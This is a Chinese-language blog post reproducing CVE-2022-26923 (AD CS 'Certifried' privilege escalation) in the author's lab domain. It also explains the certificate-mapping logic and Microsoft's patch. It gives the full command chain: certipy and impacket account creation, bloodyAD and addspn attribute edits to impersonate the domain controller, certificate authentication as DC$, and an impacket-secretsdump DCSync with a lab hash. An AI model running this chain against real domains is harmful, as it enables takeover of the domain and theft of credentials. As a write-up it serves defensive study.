April 11, 2025

CVE-2022–26923域内提权漏洞

分析前准备

这里我已经在我自己搭建的域控上创建了一个名为robert的用户,利用Certipy在AD中利用申请的证书模板进行身份验证

1
2
3
certipy-ad req -u 'robert' -p 'Passw0rd' -ca MY-DC-CA -template User -target 192.168.103.201

certipy-ad auth -pfx chromos2me.pfx -dc-ip 192.168.103.201

在默认情况下,域用户可以向证书颁发机构申请注册User证书模板,域计算机可以申请注册Machine证书

微信截图_20250408214215

微信截图_20250408214242

利用impacket工具包创建一个机器账户

1
impacket-addcomputer 'chromos2me.com/robert:Passw0rd' -computer-name 'ROBERTPC' -computer-pass 'Passw0rd' -dc-ip 192.168.103.201 

微信截图_20250408213958

新创建的机器账户不存在dNSHostName属性,我们通过bloodyAD为机器账户创建dNSHostName

1
python3 bloodyAD.py -d chromos2me.com -u robert -p Passw0rd --host 192.168.103.201 set object 'CN=ROBERTPC,CN=Computers,DC=Chromos2me,DC=com' dNSHostName -v 'robertpc.chromos2me.com'

其实也可以通过impacket-addcomputer中的 -computer-name参数进行添加,但是我的机器上会显示成功添加,我在域控上查看的时候dNSHostName并没有成功添加

微信截图_20250410120232

微信截图_20250408221111

获取Machine证书

1
certipy-ad req -u 'robertpc$' -p 'Passw0rd' -ca MY-DC-CA -template Machine -dc-ip 192.168.103.201

微信截图_20250408232307

进行身份验证

1
certipy-ad auth -pfx robertpc.pfx -dc-ip 192.168.103.201

微信截图_20250408232237

分析

一般来说两个证书的EKU(Extended Key Usage)这个拓展的证书字段均支持Client Authentication,这个EKU说明颁发的证书可以通过公钥加密( Public Key Cryptography for Initial Authentication (PKINIT))进行Kerberos协议的初始身份验证

为什么ADCS需要给域用户和域内机器账户提供不同的证书模板?

这里我们利用ly4k写的支持PKI版本的Bloodhound去看一下每一张证书的标志位,探究一下不同的账户是如何进行身份验证获取证书

首先是User证书

微信截图_20250409173634

域用户通过UPN唯一标识自己,我们可以看到证书的Certificate Name Flag字段存在标志位SubjectAltRequireUpn,在微软官方的文档中记录为CT_FLAG_SUBJECT_ALT_REQUIRE_UPN,此标志指示CA将请求者在AD中用户对象的 UPN (User Principal Name 即我们所说的UPN用户主体名称)属性值添加到颁发证书的主题备用名称(Subject Alternative Name,SAN)扩展中,同时根据微软官方3.1.1.5.1.3 Uniqueness Constraints规定,我们的域内不能存在两个UPN相同的账户,我们可以新建一个用户并将其UPN更改为我们的robert用户的UPN,看看会发生什么

如下图所示,出现了域内一致UPN的冲突

微信截图_20250409180019

我们接下来回到Machine证书模板,探究一下机器账户是如何进行身份验证的

微信截图_20250409180704

我们可以看到标志位中存在SubjectAltRequireDns,在微软文档中记录为CT_FLAG_SUBJECT_ALT_REQUIRE_DNS,此标志指示证书颁发机构CA将从请求者在AD中用户对象的DNS属性获得的值添加到颁发证书的SAN扩展中,我们将刚才申请机器账户证书的截图再拿出来一下

微信截图_20250408232307new

从上图我圈出的地方可以看到,CA通过DNS主机名对机器账户进行验证,我们在AD Explore中看一下这个属性在哪里被定义

如下图所示dNSHostName中对DNS主机名进行了定义

微信截图_20250409182726

那么我们能否对其进行修改呢?这里我们需要查看一下robertpc的安全属性,同时robertpc这个机器账户是我们通过robert这个账户进行创建的,我们只观察robert拥有的权限

微信截图_20250409183220

关于已验证的到DNS主机名的写入权限的详细解释在Validated-DNS-Host-Name validated writes,简单来说这个权限允许设置与计算机名和域名一致的dNSHostName 属性,似乎有点难以理解,我们接着做一个实验,我们尝试修改dNSHostNamemytest.chromos2me.com看看会发生什么

微信截图_20250409184524

微信截图_20250409184544

如上图所示被成功修改,同时注意到sAMAccountName并未被修改

微信截图_20250409184619

这里的与计算机名和域名一致的dNSHostName 属性实际上只要我们设置的合理一般都不会出现非法写入

现在能否能利用机器账户进行证书的请求?试试就知道了

微信截图_20250409185008

很明显我们成功利用新的DNS主机名标识了我们的机器同时进行了证书的申请,这里我们可以进行一个思考,我们在上文提到的Uniqueness Constraints唯一性约束文档中并未提到机器账户的dNSHostName必须唯一,那么能否修改dNSHostName为和域控一样,那么我们是不是就能利用域控身份进行高权限证书的请求呢?

这里因为impacket下的addcomputer在使用默认的SAMR方法创建机器账户时不会包含SPN属性,同时因为我自己的环境问题无法换用LDAPS方法,这里我们就手动的利用krbrelayx中的addspn这个工具进行添加

1
python3 addspn.py -u chromos2me.com\\robertpc\$ -p Passw0rd -s HOST/robertpc.chromos2me.com 192.168.103.201

微信截图_20250410133430

查询一下SPN

1
python3 addspn.py -u chromos2me.com\\robertpc\$ -p Passw0rd 192.168.103.201 -q

微信截图_20250410133523

根据How to configure SPN微软官方文档所指出的SPN格式

1
2
TERMSRV/WSRV2022
TERMSRV/WSRV2022.contoso1.com

我们为了复现漏洞环境在域控上添加一条关于主机名的SPN

1
2
3
HOST/robertpc
RestrictedKrbHost/robertpc
RestrictedKrbHost/robertpc.chromos2me.com

实际上在我们刚才使用addspn添加SPN时工具自动创建的SPN格式为

1
2
3
4
>KrbRestrictedHost/hostname
>KrbRestrictedHost/hostname.domain_fqdn
>Host/hostname
>Host/hostname.domain_fqdn

但是似乎环境存在问题,所以尝试手动复现一下环境,这里可以参考impacket-addcomputer中关于创建SPN的代码添加

微信截图_20250410134717

微信截图_20250410134916

在域控组织单元中找到DC$dNSHostName

微信截图_20250409185522

robertpc$dNSHostName修改为域控的dNSHostName看看会发生什么

微信截图_20250410154902

点击OK后出现了操作错误

微信截图_20250410155052

为了追究其原因我们尝试将DNS主机名修改为DC之外的主机名,然后观察一下SPN的变化

微信截图_20250410155520

微信截图_20250410155551

由上图发现,dNSHostName发生变化时,SPN中与FQDN完整限定域名有关的项均发生了改变,可以想象到,当我们将创建的机器账户robertpc$dNSHostName更改为DC.chromos2me.com时其SPN会变为RestrictedKrbHost/DC.chromos2me.comHOST/DC.chromos2me.com,这样就会与域控的SPN发生唯一性约束冲突,我们可以看一下域控的SPN属性

微信截图_20250410162256

到现在为止,我们已经确定了操作错误产生的原因,那么这里的多个SPN属性我们是否能够控制,还是说我们已经没有办法实现DNS主机名的更改了呢,我们看一下robert用户对robertpc$的ACL

微信截图_20250410163153

Validated-SPN validated writes这个权限描述为用于设置符合计算机DNS主机名的SPN属性,和上面的已验证的到DNS主机名的写入权限类似,我们的servicePrincipalName更新的值也必须符合 dNSHostName 属性,刚才我们注意到我们的四个SPN中只有两个发生了改变,另外两个中并没有包含 dNSHostName ,是不是我们将会发生改变的两个SPN删去后就可以正常进行 dNSHostName 的伪造了?

删去两个变化的SPN

微信截图_20250410163811

修改DNS主机名

微信截图_20250410163913

我们尝试利用Machine模板申请证书,如下图成功申请

微信截图_20250410164211

继续尝试看其能否利用DC进行身份验证,成功

微信截图_20250410164411

接下来利用DC哈希执行DCSync攻击转储域控上存储的所有用户哈希

1
impacket-secretsdump 'chromos2me.com/dc$@dc.chromos2me.com' -hashes aad3b435b51404eeaad3b435b51404ee:a9edd7fbef42767175d43643ae7fcfc7 -target-ip 192.168.103.201

微信截图_20250410165324

证书映射过程

在Oliver Lyak的文章中还提到了在身份验证期间证书如何映射到帐户的技术细节,在此也简单的说一说

首先根据在AS-REQ中指出的形如user@chromos2me.com的主体名称查找对应的用户,Key Distribution Center(KDC)接着根据账户的userAccountControl 属性,选择不同的映射方式,这里的userAccountControl在我们刚才的机器账户上为4096也就是0x1000,对应WORKSTATION_TRUST_ACCOUNT即计算机账户,另外域控制器账户的掩码值为0x2000对应SERVER_TRUST_ACCOUNT,普通用户账户的掩码值为0x0400对应NORMAL_ACCOUNT,根据不同的账户KDC会通过证书中的SAN字段中的 DNSName 或 UPNName 来验证证书映射,对于上面的三种用户,除了普通账户使用UPNName 字段进行验证外,其他均使用DNSName 字段进行验证

来自3.1.5.2.1.1 SAN DNSName field的微软文档指出KDC 必须确认找到的账户名称与证书中 DNSName 字段中的计算机名(以 $ 结尾)匹配,并且证书中 DNSName 字段中的 DNS 域名与 realm 的 DNS 域名匹配

就拿我们做实验的例子来说,我们的计算机账户robertpc$,它属于chromos2me.com,我们为了实现有效的映射,证书中的DNSName应为robertpc.chromos2me.com,即格式为<计算机名>.<域名>,同时这里的 <计算机名> 是sAMAccountName去掉结尾$后的内容

因此,在 PKINIT Kerberos认证过程中,我们提供的主体名称是类似 robertpc$@chromos2me.com 的格式,并提供一个 DNSName 设置为 robertpc.chromos2me.com 的证书。KDC 会根据主体名称查找对应账户。由于 robertpc$ 是一个计算机账户,KDC 会将 DNSName 字段分为计算机名部分和域部分。然后 KDC 会验证计算机名部分是否与 sAMAccountName 加上 $ 后一致,并验证域名部分是否与域名匹配。如果两个部分都匹配,验证就成功了,映射也就成立。值得注意的是,账户的 dNSHostName 属性并不会用于证书映射,该属性仅在申请证书时使用。

修补

该漏洞已通过 Microsoft 2022 年 5 月的安全更新修复,在证书中引入了一个新的对象标识符,通过将用户的SID嵌入到新的 szOID_NTDS_CA_SECURITY_EXT(1.3.6.1.4.1.311.25.2)OID 中,但是具有新CT_FLAG_NO_SECURITY_EXTENSION(0x80000)标志的证书模板将不会嵌入新szOID_NTDS_CA_SECURITY_EXT OID,因此这些模板仍然容易受到此攻击,虽然这种标志设置的可能性不大。

About this Post

This post is written by Chromos2me, licensed under CC BY-NC 4.0.

#ADCS#域内提权#Windows域安全